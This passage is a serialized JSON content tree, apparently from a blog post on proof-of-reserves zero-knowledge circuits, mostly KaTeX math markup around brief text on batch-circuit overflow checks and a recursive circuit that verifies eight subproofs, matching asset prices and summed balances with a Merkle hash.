props":94603,"children":94605},{"className":94604},[3753,21328],[94606],{"type":29,"value":2033},{"type":24,"tag":83,"props":94608,"children":94610},{"className":94609},[3753,21328],[94611],{"type":29,"value":92751},{"type":24,"tag":83,"props":94613,"children":94615},{"className":94614},[3753,21328],[94616],{"type":29,"value":21470},{"type":24,"tag":83,"props":94618,"children":94620},{"className":94619,"style":92760},[3753],[94621],{"type":29,"value":2827},{"type":24,"tag":83,"props":94623,"children":94625},{"className":94624},[3753,21328],[94626],{"type":29,"value":92768},{"type":24,"tag":83,"props":94628,"children":94630},{"className":94629,"style":92772},[3753,21328],[94631],{"type":29,"value":92775},{"type":24,"tag":83,"props":94633,"children":94635},{"className":94634},[3753,21328],[94636],{"type":29,"value":92781},{"type":24,"tag":83,"props":94638,"children":94640},{"className":94639},[3753,21328],[94641],{"type":29,"value":92787},{"type":24,"tag":83,"props":94643,"children":94645},{"className":94644},[3753],[94646,94651],{"type":24,"tag":83,"props":94647,"children":94649},{"className":94648},[3753,21328],[94650],{"type":29,"value":10399},{"type":24,"tag":83,"props":94652,"children":94654},{"className":94653},[3769],[94655],{"type":24,"tag":83,"props":94656,"children":94658},{"className":94657},[3774,21382],[94659,94688],{"type":24,"tag":83,"props":94660,"children":94662},{"className":94661},[3779],[94663,94683],{"type":24,"tag":83,"props":94664,"children":94666},{"className":94665,"style":93289},[3784],[94667],{"type":24,"tag":83,"props":94668,"children":94669},{"style":92816},[94670,94674],{"type":24,"tag":83,"props":94671,"children":94673},{"className":94672,"style":3794},[3793],[],{"type":24,"tag":83,"props":94675,"children":94677},{"className":94676},[3799,3800,3801,3802],[94678],{"type":24,"tag":83,"props":94679,"children":94681},{"className":94680},[3753,21328,3802],[94682],{"type":29,"value":3482},{"type":24,"tag":83,"props":94684,"children":94686},{"className":94685},[21485],[94687],{"type":29,"value":21488},{"type":24,"tag":83,"props":94689,"children":94691},{"className":94690},[3779],[94692],{"type":24,"tag":83,"props":94693,"children":94695},{"className":94694,"style":92843},[3784],[94696],{"type":24,"tag":83,"props":94697,"children":94698},{},[],{"type":24,"tag":83,"props":94700,"children":94702},{"className":94701},[21457],[94703],{"type":29,"value":1161},{"type":24,"tag":83,"props":94705,"children":94707},{"className":94706},[3753,21328],[94708],{"type":29,"value":2033},{"type":24,"tag":83,"props":94710,"children":94712},{"className":94711},[3753,21328],[94713],{"type":29,"value":92751},{"type":24,"tag":83,"props":94715,"children":94717},{"className":94716},[3753,21328],[94718],{"type":29,"value":21470},{"type":24,"tag":83,"props":94720,"children":94722},{"className":94721,"style":92760},[3753],[94723],{"type":29,"value":2827},{"type":24,"tag":83,"props":94725,"children":94727},{"className":94726},[3753,21328],[94728],{"type":29,"value":56117},{"type":24,"tag":83,"props":94730,"children":94732},{"className":94731},[3753,21328],[94733],{"type":29,"value":93019},{"type":24,"tag":83,"props":94735,"children":94737},{"className":94736},[3753,21328],[94738],{"type":29,"value":50848},{"type":24,"tag":83,"props":94740,"children":94742},{"className":94741},[21479],[94743],{"type":29,"value":15151},{"type":24,"tag":83,"props":94745,"children":94747},{"className":94746,"style":3931},[3833],[],{"type":24,"tag":83,"props":94749,"children":94751},{"className":94750},[3936],[94752],{"type":29,"value":5552},{"type":24,"tag":83,"props":94754,"children":94756},{"className":94755,"style":3931},[3833],[],{"type":24,"tag":83,"props":94758,"children":94760},{"className":94759},[3742],[94761,94765,94772,94777,94783,94788,94793,94798,94804,94809,94815,94821],{"type":24,"tag":83,"props":94762,"children":94764},{"className":94763,"style":92702},[3747],[],{"type":24,"tag":83,"props":94766,"children":94769},{"className":94767,"style":94768},[3753,21328],"margin-right:0.10903em;",[94770],{"type":29,"value":94771},"M",{"type":24,"tag":83,"props":94773,"children":94775},{"className":94774},[3753,21328],[94776],{"type":29,"value":76482},{"type":24,"tag":83,"props":94778,"children":94781},{"className":94779,"style":94780},[3753,21328],"margin-right:0.07847em;",[94782],{"type":29,"value":5879},{"type":24,"tag":83,"props":94784,"children":94786},{"className":94785,"style":92760},[3753],[94787],{"type":29,"value":2827},{"type":24,"tag":83,"props":94789,"children":94791},{"className":94790,"style":21787},[3753,21328],[94792],{"type":29,"value":21790},{"type":24,"tag":83,"props":94794,"children":94796},{"className":94795},[3753,21328],[94797],{"type":29,"value":76482},{"type":24,"tag":83,"props":94799,"children":94801},{"className":94800,"style":21787},[3753,21328],[94802],{"type":29,"value":94803},"FE",{"type":24,"tag":83,"props":94805,"children":94807},{"className":94806,"style":92760},[3753],[94808],{"type":29,"value":2827},{"type":24,"tag":83,"props":94810,"children":94812},{"className":94811,"style":94780},[3753,21328],[94813],{"type":29,"value":94814},"I",{"type":24,"tag":83,"props":94816,"children":94818},{"className":94817,"style":21329},[3753,21328],[94819],{"type":29,"value":94820},"NT",{"type":24,"tag":83,"props":94822,"children":94824},{"className":94823},[3753],[94825],{"type":29,"value":94826},"/512",{"type":29,"value":6204},{"type":24,"tag":2040,"props":94829,"children":94830},{},[94831],{"type":29,"value":94832},"(overflow check)",{"type":29,"value":94834}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":24,"tag":32,"props":94836,"children":94838},{"className":94837},[],[94839],{"type":29,"value":92618},{"type":29,"value":2872},{"type":24,"tag":25,"props":94842,"children":94843},{},[94844],{"type":29,"value":94845},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":24,"tag":25,"props":94847,"children":94848},{},[94849],{"type":24,"tag":2510,"props":94850,"children":94852},{"alt":2512,"src":94851},"/posts/por/batch-circuit-inputs.png",[],{"type":24,"tag":1818,"props":94854,"children":94856},{"id":94855},"recursive-circuit",[94857],{"type":29,"value":94858},"Recursive Circuit",{"type":24,"tag":25,"props":94860,"children":94861},{},[94862],{"type":29,"value":94863},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":24,"tag":25,"props":94865,"children":94866},{},[94867],{"type":24,"tag":2040,"props":94868,"children":94869},{},[94870],{"type":29,"value":93132},{"type":24,"tag":16422,"props":94872,"children":94873},{},[94874,94878,94883],{"type":24,"tag":67,"props":94875,"children":94876},{},[94877],{"type":29,"value":93150},{"type":24,"tag":67,"props":94879,"children":94880},{},[94881],{"type":29,"value":94882},"Asset prices",{"type":24,"tag":67,"props":94884,"children":94885},{},[94886],{"type":29,"value":93145},{"type":24,"tag":25,"props":94888,"children":94889},{},[94890],{"type":24,"tag":2040,"props":94891,"children":94892},{},[94893],{"type":29,"value":93158},{"type":24,"tag":16422,"props":94895,"children":94896},{},[94897],{"type":24,"tag":67,"props":94898,"children":94899},{},[94900],{"type":29,"value":94901},"8 subproofs",{"type":24,"tag":25,"props":94903,"children":94904},{},[94905],{"type":24,"tag":2040,"props":94906,"children":94907},{},[94908],{"type":29,"value":93179},{"type":24,"tag":16422,"props":94910,"children":94911},{},[94912,95322,95653,96020,96407],{"type":24,"tag":67,"props":94913,"children":94914},{},[94915,95317,95318],{"type":24,"tag":32,"props":94916,"children":94918},{"className":94917},[3726,3727],[94919],{"type":24,"tag":83,"props":94920,"children":94922},{"className":94921},[3732],[94923],{"type":24,"tag":83,"props":94924,"children":94926},{"className":94925,"ariaHidden":1237},[3737],[94927,95063],{"type":24,"tag":83,"props":94928,"children":94930},{"className":94929},[3742],[94931,94935,94940,94945,94950,94955,94960,94965,94970,94975,94980,94985,94990,94995,95000,95005,95010,95015,95020,95025,95030,95035,95040,95045,95050,95054,95059],{"type":24,"tag":83,"props":94932,"children":94934},{"className":94933,"style":92702},[3747],[],{"type":24,"tag":83,"props":94936,"children":94938},{"className":94937},[3753,21328],[94939],{"type":29,"value":21470},{"type":24,"tag":83,"props":94941,"children":94943},{"className":94942},[3753,21328],[94944],{"type":29,"value":92730},{"type":24,"tag":83,"props":94946,"children":94948},{"className":94947},[3753,21328],[94949],{"type":29,"value":21470},{"type":24,"tag":83,"props":94951,"children":94953},{"className":94952},[3753,21328],[94954],{"type":29,"value":2033},{"type":24,"tag":83,"props":94956,"children":94958},{"className":94957,"style":92772},[3753,21328],[94959],{"type":29,"value":92775},{"type":24,"tag":83,"props":94961,"children":94963},{"className":94962,"style":92760},[3753],[94964],{"type":29,"value":2827},{"type":24,"tag":83,"props":94966,"children":94968},{"className":94967},[3753,21328],[94969],{"type":29,"value":2033},{"type":24,"tag":83,"props":94971,"children":94973},{"className":94972},[3753,21328],[94974],{"type":29,"value":92751},{"type":24,"tag":83,"props":94976,"children":94978},{"className":94977},[3753,21328],[94979],{"type":29,"value":21470},{"type":24,"tag":83,"props":94981,"children":94983},{"className":94982,"style":92760},[3753],[94984],{"type":29,"value":2827},{"type":24,"tag":83,"props":94986,"children":94988},{"className":94987},[3753,21328],[94989],{"type":29,"value":92768},{"type":24,"tag":83,"props":94991,"children":94993},{"className":94992,"style":92772},[3753,21328],[94994],{"type":29,"value":92775},{"type":24,"tag":83,"props":94996,"children":94998},{"className":94997},[3753,21328],[94999],{"type":29,"value":92781},{"type":24,"tag":83,"props":95001,"children":95003},{"className":95002},[3753,21328],[95004],{"type":29,"value":92787},{"type":24,"tag":83,"props":95006,"children":95008},{"className":95007},[21457],[95009],{"type":29,"value":1161},{"type":24,"tag":83,"props":95011,"children":95013},{"className":95012},[3753,21328],[95014],{"type":29,"value":2033},{"type":24,"tag":83,"props":95016,"children":95018},{"className":95017},[3753,21328],[95019],{"type":29,"value":92751},{"type":24,"tag":83,"props":95021,"children":95023},{"className":95022},[3753,21328],[95024],{"type":29,"value":21470},{"type":24,"tag":83,"props":95026,"children":95028},{"className":95027,"style":92760},[3753],[95029],{"type":29,"value":2827},{"type":24,"tag":83,"props":95031,"children":95033},{"className":95032},[3753,21328],[95034],{"type":29,"value":56117},{"type":24,"tag":83,"props":95036,"children":95038},{"className":95037},[3753,21328],[95039],{"type":29,"value":93019},{"type":24,"tag":83,"props":95041,"children":95043},{"className":95042},[3753,21328],[95044],{"type":29,"value":50848},{"type":24,"tag":83,"props":95046,"children":95048},{"className":95047},[21479],[95049],{"type":29,"value":15151},{"type":24,"tag":83,"props":95051,"children":95053},{"className":95052,"style":3931},[3833],[],{"type":24,"tag":83,"props":95055,"children":95057},{"className":95056},[3936],[95058],{"type":29,"value":8320},{"type":24,"tag":83,"props":95060,"children":95062},{"className":95061,"style":3931},[3833],[],{"type":24,"tag":83,"props":95064,"children":95066},{"className":95065},[3742],[95067,95071,95076,95081,95086,95091,95096,95101,95107,95166,95171,95176,95181,95186,95191,95196,95201,95206,95212,95217,95222,95227,95232,95237,95242,95247,95252,95257,95262,95267,95272,95277,95282,95287,95292,95297,95302,95307,95312],{"type":24,"tag":83,"props":95068,"children":95070},{"className":95069,"style":92702},[3747],[],{"type":24,"tag":83,"props":95072,"children":95074},{"className":95073},[3753],[95075],{"type":29,"value":93350},{"type":24,"tag":83,"props":95077,"children":95079},{"className":95078},[3833],[95080],{"type":29,"value":21429},{"type":24,"tag":83,"props":95082,"children":95084},{"className":95083},[3753,21328],[95085],{"type":29,"value":10399},{"type":24,"tag":83,"props":95087,"children":95089},{"className":95088},[3753,21328],[95090],{"type":29,"value":93019},{"type":24,"tag":83,"props":95092,"children":95094},{"className":95093},[3753,21328],[95095],{"type":29,"value":2968},{"type":24,"tag":83,"props":95097,"children":95099},{"className":95098},[3753,21328],[95100],{"type":29,"value":25},{"type":24,"tag":83,"props":95102,"children":95104},{"className":95103},[3753,21328],[95105],{"type":29,"value":95106},"roo",{"type":24,"tag":83,"props":95108,"children":95110},{"className":95109},[3753],[95111,95117],{"type":24,"tag":83,"props":95112,"children":95115},{"className":95113,"style":95114},[3753,21328],"margin-right:0.10764em;",[95116],{"type":29,"value":32824},{"type":24,"tag":83,"props":95118,"children":95120},{"className":95119},[3769],[95121],{"type":24,"tag":83,"props":95122,"children":95124},{"className":95123},[3774,21382],[95125,95155],{"type":24,"tag":83,"props":95126,"children":95128},{"className":95127},[3779],[95129,95150],{"type":24,"tag":83,"props":95130,"children":95132},{"className":95131,"style":93289},[3784],[95133],{"type":24,"tag":83,"props":95134,"children":95136},{"style":95135},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[95137,95141],{"type":24,"tag":83,"props":95138,"children":95140},{"className":95139,"style":3794},[3793],[],{"type":24,"tag":83,"props":95142,"children":95144},{"className":95143},[3799,3800,3801,3802],[95145],{"type":24,"tag":83,"props":95146,"children":95148},{"className":95147},[3753,21328,3802],[95149],{"type":29,"value":3482},{"type":24,"tag":83,"props":95151,"children":95153},{"className":95152},[21485],[95154],{"type":29,"value":21488},{"type":24,"tag":83,"props":95156,"children":95158},{"className":95157},[3779],[95159],{"type":24,"tag":83,"props":95160,"children":95162},{"className":95161,"style":92843},[3784],[95163],{"type":24,"tag":83,"props":95164,"children":95165},{},[],{"type":24,"tag":83,"props":95167,"children":95169},{"className":95168},[3753],[95170],{"type":29,"value":161},{"type":24,"tag":83,"props":95172,"children":95174},{"className":95173},[3753,21328],[95175],{"type":29,"value":25},{"type":24,"tag":83,"props":95177,"children":95179},{"className":95178},[3753,21328],[95180],{"type":29,"value":93019},{"type":24,"tag":83,"props":95182,"children":95184},{"className":95183},[3753,21328],[95185],{"type":29,"value":2968},{"type":24,"tag":83,"props":95187,"children":95189},{"className":95188,"style":92772},[3753,21328],[95190],{"type":29,"value":92775},{"type":24,"tag":83,"props":95192,"children":95194},{"className":95193},[3753,21328],[95195],{"type":29,"value":3482},{"type":24,"tag":83,"props":95197,"children":95199},{"className":95198},[3753,21328],[95200],{"type":29,"value":2891},{"type":24,"tag":83,"props":95202,"children":95204},{"className":95203,"style":92760},[3753],[95205],{"type":29,"value":2827},{"type":24,"tag":83,"props":95207,"children":95209},{"className":95208},[3753,21328],[95210],{"type":29,"value":95211},"in",{"type":24,"tag":83,"props":95213,"children":95215},{"className":95214},[3753,21328],[95216],{"type":29,"value":25},{"type":24,"tag":83,"props":95218,"children":95220},{"className":95219},[3753,21328],[95221],{"type":29,"value":93019},{"type":24,"tag":83,"props":95223,"children":95225},{"className":95224},[3753,21328],[95226],{"type":29,"value":21470},{"type":24,"tag":83,"props":95228,"children":95230},{"className":95229},[3753],[95231],{"type":29,"value":161},{"type":24,"tag":83,"props":95233,"children":95235},{"className":95234},[3753,21328],[95236],{"type":29,"value":2033},{"type":24,"tag":83,"props":95238,"children":95240},{"className":95239},[3753,21328],[95241],{"type":29,"value":92751},{"type":24,"tag":83,"props":95243,"children":95245},{"className":95244},[3753,21328],[95246],{"type":29,"value":21470},{"type":24,"tag":83,"props":95248,"children":95250},{"className":95249,"style":92760},[3753],[95251],{"type":29,"value":2827},{"type":24,"tag":83,"props":95253,"children":95255},{"className":95254},[3753,21328],[95256],{"type":29,"value":92768},{"type":24,"tag":83,"props":95258,"children":95260},{"className":95259,"style":92772},[3753,21328],[95261],{"type":29,"value":92775},{"type":24,"tag":83,"props":95263,"children":95265},{"className":95264},[3753,21328],[95266],{"type":29,"value":92781},{"type":24,"tag":83,"props":95268,"children":95270},{"className":95269},[3753,21328],[95271],{"type":29,"value":93590},{"type":24,"tag":83,"props":95273,"children":95275},{"className":95274},[21457],[95276],{"type":29,"value":1161},{"type":24,"tag":83,"props":95278,"children":95280},{"className":95279},[3753,21328],[95281],{"type":29,"value":2033},{"type":24,"tag":83,"props":95283,"children":95285},{"className":95284},[3753,21328],[95286],{"type":29,"value":92751},{"type":24,"tag":83,"props":95288,"children":95290},{"className":95289},[3753,21328],[95291],{"type":29,"value":21470},{"type":24,"tag":83,"props":95293,"children":95295},{"className":95294,"style":92760},[3753],[95296],{"type":29,"value":2827},{"type":24,"tag":83,"props":95298,"children":95300},{"className":95299},[3753,21328],[95301],{"type":29,"value":56117},{"type":24,"tag":83,"props":95303,"children":95305},{"className":95304},[3753,21328],[95306],{"type":29,"value":93019},{"type":24,"tag":83,"props":95308,"children":95310},{"className":95309},[3753,21328],[95311],{"type":29,"value":50848},{"type":24,"tag":83,"props":95313,"children":95315},{"className":95314},[21479],[95316],{"type":29,"value":15151},{"type":29,"value":6204},{"type":24,"tag":2040,"props":95319,"children":95320},{},[95321],{"type":29,"value":94150},{"type":24,"tag":67,"props":95323,"children":95324},{},[95325],{"type":24,"tag":32,"props":95326,"children":95328},{"className":95327},[3726,3727],[95329],{"type":24,"tag":83,"props":95330,"children":95332},{"className":95331},[3732],[95333],{"type":24,"tag":83,"props":95334,"children":95336},{"className":95335,"ariaHidden":1237},[3737],[95337,95443],{"type":24,"tag":83,"props":95338,"children":95340},{"className":95339},[3742],[95341,95345,95350,95355,95360,95365,95370,95375,95380,95385,95390,95395,95400,95405,95410,95415,95420,95425,95430,95434,95439],{"type":24,"tag":83,"props":95342,"children":95344},{"className":95343,"style":92702},[3747],[],{"type":24,"tag":83,"props":95346,"children":95348},{"className":95347},[3753,21328],[95349],{"type":29,"value":2033},{"type":24,"tag":83,"props":95351,"children":95353},{"className":95352},[3753,21328],[95354],{"type":29,"value":92751},{"type":24,"tag":83,"props":95356,"children":95358},{"className":95357},[3753,21328],[95359],{"type":29,"value":21470},{"type":24,"tag":83,"props":95361,"children":95363},{"className":95362,"style":92760},[3753],[95364],{"type":29,"value":2827},{"type":24,"tag":83,"props":95366,"children":95368},{"className":95367},[3753,21328],[95369],{"type":29,"value":25},{"type":24,"tag":83,"props":95371,"children":95373},{"className":95372,"style":92760},[3753,21328],[95374],{"type":29,"value":93579},{"type":24,"tag":83,"props":95376,"children":95378},{"className":95377},[3753,21328],[95379],{"type":29,"value":3482},{"type":24,"tag":83,"props":95381,"children":95383},{"className":95382},[3753,21328],[95384],{"type":29,"value":92787},{"type":24,"tag":83,"props":95386,"children":95388},{"className":95387},[21457],[95389],{"type":29,"value":1161},{"type":24,"tag":83,"props":95391,"children":95393},{"className":95392},[3753,21328],[95394],{"type":29,"value":2033},{"type":24,"tag":83,"props":95396,"children":95398},{"className":95397},[3753,21328],[95399],{"type":29,"value":92751},{"type":24,"tag":83,"props":95401,"children":95403},{"className":95402},[3753,21328],[95404],{"type":29,"value":21470},{"type":24,"tag":83,"props":95406,"children":95408},{"className":95407,"style":92760},[3753],[95409],{"type":29,"value":2827},{"type":24,"tag":83,"props":95411,"children":95413},{"className":95412},[3753,21328],[95414],{"type":29,"value":56117},{"type":24,"tag":83,"props":95416,"children":95418},{"className":95417},[3753,21328],[95419],{"type":29,"value":93019},{"type":24,"tag":83,"props":95421,"children":95423},{"className":95422},[3753,21328],[95424],{"type":29,"value":50848},{"type":24,"tag":83,"props":95426,"children":95428},{"className":95427},[21479],[95429],{"type":29,"value":15151},{"type":24,"tag":83,"props":95431,"children":95433},{"className":95432,"style":3931},[3833],[],{"type":24,"tag":83,"props":95435,"children":95437},{"className":95436},[3936],[95438],{"type":29,"value":8320},{"type":24,"tag":83,"props":95440,"children":95442},{"className":95441,"style":3931},[3833],[],{"type":24,"tag":83,"props":95444,"children":95446},{"className":95445},[3742],[95447,95451,95456,95461,95466,95471,95476,95533,95538,95543,95548,95553,95558,95563,95568,95573,95578,95583,95588,95593,95598,95603,95608,95613,95618,95623,95628,95633,95638,95643,95648],{"type":24,"tag":83,"props":95448,"children":95450},{"className":95449,"style":92702},[3747],[],{"type":24,"tag":83,"props":95452,"children":95454},{"className":95453},[3753,21328],[95455],{"type":29,"value":10399},{"type":24,"tag":83,"props":95457,"children":95459},{"className":95458},[3753,21328],[95460],{"type":29,"value":93019},{"type":24,"tag":83,"props":95462,"children":95464},{"className":95463},[3753,21328],[95465],{"type":29,"value":2968},{"type":24,"tag":83,"props":95467,"children":95469},{"className":95468},[3753,21328],[95470],{"type":29,"value":25},{"type":24,"tag":83,"props":95472,"children":95474},{"className":95473},[3753,21328],[95475],{"type":29,"value":95106},{"type":24,"tag":83,"props":95477,"children":95479},{"className":95478},[3753],[95480,95485],{"type":24,"tag":83,"props":95481,"children":95483},{"className":95482,"style":95114},[3753,21328],[95484],{"type":29,"value":32824},{"type":24,"tag":83,"props":95486,"children":95488},{"className":95487},[3769],[95489],{"type":24,"tag":83,"props":95490,"children":95492},{"className":95491},[3774,21382],[95493,95522],{"type":24,"tag":83,"props":95494,"children":95496},{"className":95495},[3779],[95497,95517],{"type":24,"tag":83,"props":95498,"children":95500},{"className":95499,"style":93289},[3784],[95501],{"type":24,"tag":83,"props":95502,"children":95503},{"style":95135},[95504,95508],{"type":24,"tag":83,"props":95505,"children":95507},{"className":95506,"style":3794},[3793],[],{"type":24,"tag":83,"props":95509,"children":95511},{"className":95510},[3799,3800,3801,3802],[95512],{"type":24,"tag":83,"props":95513,"children":95515},{"className":95514},[3753,21328,3802],[95516],{"type":29,"value":3482},{"type":24,"tag":83,"props":95518,"children":95520},{"className":95519},[21485],[95521],{"type":29,"value":21488},{"type":24,"tag":83,"props":95523,"children":95525},{"className":95524},[3779],[95526],{"type":24,"tag":83,"props":95527,"children":95529},{"className":95528,"style":92843},[3784],[95530],{"type":24,"tag":83,"props":95531,"children":95532},{},[],{"type":24,"tag":83,"props":95534,"children":95536},{"className":95535},[3753],[95537],{"type":29,"value":161},{"type":24,"tag":83,"props":95539,"children":95541},{"className":95540},[3753,21328],[95542],{"type":29,"value":25},{"type":24,"tag":83,"props":95544,"children":95546},{"className":95545},[3753,21328],[95547],{"type":29,"value":93019},{"type":24,"tag":83,"props":95549,"children":95551},{"className":95550},[3753,21328],[95552],{"type":29,"value":2968},{"type":24,"tag":83,"props":95554,"children":95556},{"className":95555,"style":92772},[3753,21328],[95557],{"type":29,"value":92775},{"type":24,"tag":83,"props":95559,"children":95561},{"className":95560},[3753,21328],[95562],{"type":29,"value":3482},{"type":24,"tag":83,"props":95564,"children":95566},{"className":95565},[3753,21328],[95567],{"type":29,"value":2891},{"type":24,"tag":83,"props":95569,"children":95571},{"className":95570,"style":92760},[3753],[95572],{"type":29,"value":2827},{"type":24,"tag":83,"props":95574,"children":95576},{"className":95575},[3753,21328],[95577],{"type":29,"value":95211},{"type":24,"tag":83,"props":95579,"children":95581},{"className":95580},[3753,21328],[95582],{"type":29,"value":25},{"type":24,"tag":83,"props":95584,"children":95586},{"className":95585},[3753,21328],[95587],{"type":29,"value":93019},{"type":24,"tag":83,"props":95589,"children":95591},{"className":95590},[3753,21328],[95592],{"type":29,"value":21470},{"type":24,"tag":83,"props":95594,"children":95596},{"className":95595},[3753],[95597],{"type":29,"value":161},{"type":24,"tag":83,"props":95599,"children":95601},{"className":95600},[3753,21328],[95602],{"type":29,"value":2033},{"type":24,"tag":83,"props":95604,"children":95606},{"className":95605},[3753,21328],[95607],{"type":29,"value":92751},{"type":24,"tag":83,"props":95609,"children":95611},{"className":95610},[3753,21328],[95612],{"type":29,"value":21470},{"type":24,"tag":83,"props":95614,"children":95616},{"className":95615,"style":92760},[3753],[95617],{"type":29,"value":2827},{"type":24,"tag":83,"props":95619,"children":95621},{"className":95620},[3753,21328],[95622],{"type":29,"value":25},{"type":24,"tag":83,"props":95624,"children":95626},{"className":95625,"style":92760},[3753,21328],[95627],{"type":29,"value":93579},{"type":24,"tag":83,"props":95629,"children":95631},{"className":95630},[3753,21328],[95632],{"type":29,"value":3482},{"type":24,"tag":83,"props":95634,"children":95636},{"className":95635},[3753,21328],[95637],{"type":29,"value":93590},{"type":24,"tag":83,"props":95639,"children":95641},{"className":95640},[21457],[95642],{"type":29,"value":1161},{"type":24,"tag":83,"props":95644,"children":95646},{"className":95645},[3753],[95647],{"type":29,"value":1166},{"type":24,"tag":83,"props":95649,"children":95651},{"className":95650},[21479],[95652],{"type":29,"value":15151},{"type":24,"tag":67,"props":95654,"children":95655},{},[95656,96014,96015],{"type":24,"tag":32,"props":95657,"children":95659},{"className":95658},[3726,3727],[95660],{"type":24,"tag":83,"props":95661,"children":95663},{"className":95662},[3732],[95664],{"type":24,"tag":83,"props":95665,"children":95667},{"className":95666,"ariaHidden":1237},[3737],[95668,95774],{"type":24,"tag":83,"props":95669,"children":95671},{"className":95670},[3742],[95672,95676,95681,95686,95691,95696,95701,95706,95711,95716,95721,95726,95731,95736,95741,95746,95751,95756,95761,95765,95770],{"type":24,"tag":83,"props":95673,"children":95675},{"className":95674,"style":92702},[3747],[],{"type":24,"tag":83,"props":95677,"children":95679},{"className":95678},[3753,21328],[95680],{"type":29,"value":2033},{"type":24,"tag":83,"props":95682,"children":95684},{"className":95683},[3753,21328],[95685],{"type":29,"value":92751},{"type":24,"tag":83,"props":95687,"children":95689},{"className":95688},[3753,21328],[95690],{"type":29,"value":21470},{"type":24,"tag":83,"props":95692,"children":95694},{"className":95693,"style":92760},[3753],[95695],{"type":29,"value":2827},{"type":24,"tag":83,"props":95697,"children":95699},{"className":95698},[3753,21328],[95700],{"type":29,"value":25},{"type":24,"tag":83,"props":95702,"children":95704},{"className":95703,"style":92760},[3753,21328],[95705],{"type":29,"value":93579},{"type":24,"tag":83,"props":95707,"children":95709},{"className":95708},[3753,21328],[95710],{"type":29,"value":3482},{"type":24,"tag":83,"props":95712,"children":95714},{"className":95713},[3753,21328],[95715],{"type":29,"value":92787},{"type":24,"tag":83,"props":95717,"children":95719},{"className":95718},[21457],[95720],{"type":29,"value":1161},{"type":24,"tag":83,"props":95722,"children":95724},{"className":95723},[3753,21328],[95725],{"type":29,"value":2033},{"type":24,"tag":83,"props":95727,"children":95729},{"className":95728},[3753,21328],[95730],{"type":29,"value":92751},{"type":24,"tag":83,"props":95732,"children":95734},{"className":95733},[3753,21328],[95735],{"type":29,"value":21470},{"type":24,"tag":83,"props":95737,"children":95739},{"className":95738,"style":92760},[3753],[95740],{"type":29,"value":2827},{"type":24,"tag":83,"props":95742,"children":95744},{"className":95743},[3753,21328],[95745],{"type":29,"value":56117},{"type":24,"tag":83,"props":95747,"children":95749},{"className":95748},[3753,21328],[95750],{"type":29,"value":93019},{"type":24,"tag":83,"props":95752,"children":95754},{"className":95753},[3753,21328],[95755],{"type":29,"value":50848},{"type":24,"tag":83,"props":95757,"children":95759},{"className":95758},[21479],[95760],{"type":29,"value":15151},{"type":24,"tag":83,"props":95762,"children":95764},{"className":95763,"style":3931},[3833],[],{"type":24,"tag":83,"props":95766,"children":95768},{"className":95767},[3936],[95769],{"type":29,"value":8320},{"type":24,"tag":83,"props":95771,"children":95773},{"className":95772,"style":3931},[3833],[],{"type":24,"tag":83,"props":95775,"children":95777},{"className":95776},[3742],[95778,95782,95787,95792,95797,95802,95807,95864,95869,95874,95879,95884,95889,95894,95899,95904,95909,95914,95919,95924,95929,95934,95939,95944,95949,95954,95959,95964,95969,95974,95979,95984,95989,95994,95999,96004,96009],{"type":24,"tag":83,"props":95779,"children":95781},{"className":95780,"style":92702},[3747],[],{"type":24,"tag":83,"props":95783,"children":95785},{"className":95784},[3753,21328],[95786],{"type":29,"value":10399},{"type":24,"tag":83,"props":95788,"children":95790},{"className":95789},[3753,21328],[95791],{"type":29,"value":93019},{"type":24,"tag":83,"props":95793,"children":95795},{"className":95794},[3753,21328],[95796],{"type":29,"value":2968},{"type":24,"tag":83,"props":95798,"children":95800},{"className":95799},[3753,21328],[95801],{"type":29,"value":25},{"type":24,"tag":83,"props":95803,"children":95805},{"className":95804},[3753,21328],[95806],{"type":29,"value":95106},{"type":24,"tag":83,"props":95808,"children":95810},{"className":95809},[3753],[95811,95816],{"type":24,"tag":83,"props":95812,"children":95814},{"className":95813,"style":95114},[3753,21328],[95815],{"type":29,"value":32824},{"type":24,"tag":83,"props":95817,"children":95819},{"className":95818},[3769],[95820],{"type":24,"tag":83,"props":95821,"children":95823},{"className":95822},[3774,21382],[95824,95853],{"type":24,"tag":83,"props":95825,"children":95827},{"className":95826},[3779],[95828,95848],{"type":24,"tag":83,"props":95829,"children":95831},{"className":95830,"style":93289},[3784],[95832],{"type":24,"tag":83,"props":95833,"children":95834},{"style":95135},[95835,95839],{"type":24,"tag":83,"props":95836,"children":95838},{"className":95837,"style":3794},[3793],[],{"type":24,"tag":83,"props":95840,"children":95842},{"className":95841},[3799,3800,3801,3802],[95843],{"type":24,"tag":83,"props":95844,"children":95846},{"className":95845},[3753,21328,3802],[95847],{"type":29,"value":3482},{"type":24,"tag":83,"props":95849,"children":95851},{"className":95850},[21485],[95852],{"type":29,"value":21488},{"type":24,"tag":83,"props":95854,"children":95856},{"className":95855},[3779],[95857],{"type":24,"tag":83,"props":95858,"children":95860},{"className":95859,"style":92843},[3784],[95861],{"type":24,"tag":83,"props":95862,"children":95863},{},[],{"type":24,"tag":83,"props":95865,"children":95867},{"className":95866},[3753],[95868],{"type":29,"value":161},{"type":24,"tag":83,"props":95870,"children":95872},{"className":95871},[3753,21328],[95873],{"type":29,"value":25},{"type":24,"tag":83,"props":95875,"children":95877},{"className":95876},[3753,21328],[95878],{"type":29,"value":93019},{"type":24,"tag":83,"props":95880,"children":95882},{"className":95881},[3753,21328],[95883],{"type":29,"value":2968},{"type":24,"tag":83,"props":95885,"children":95887},{"className":95886,"style":92772},[3753,21328],[95888],{"type":29,"value":92775},{"type":24,"tag":83,"props":95890,"children":95892},{"className":95891},[3753,21328],[95893],{"type":29,"value":3482},{"type":24,"tag":83,"props":95895,"children":95897},{"className":95896},[3753,21328],[95898],{"type":29,"value":2891},{"type":24,"tag":83,"props":95900,"children":95902},{"className":95901,"style":92760},[3753],[95903],{"type":29,"value":2827},{"type":24,"tag":83,"props":95905,"children":95907},{"className":95906},[3753,21328],[95908],{"type":29,"value":95211},{"type":24,"tag":83,"props":95910,"children":95912},{"className":95911},[3753,21328],[95913],{"type":29,"value":25},{"type":24,"tag":83,"props":95915,"children":95917},{"className":95916},[3753,21328],[95918],{"type":29,"value":93019},{"type":24,"tag":83,"props":95920,"children":95922},{"className":95921},[3753,21328],[95923],{"type":29,"value":21470},{"type":24,"tag":83,"props":95925,"children":95927},{"className":95926},[3753],[95928],{"type":29,"value":161},{"type":24,"tag":83,"props"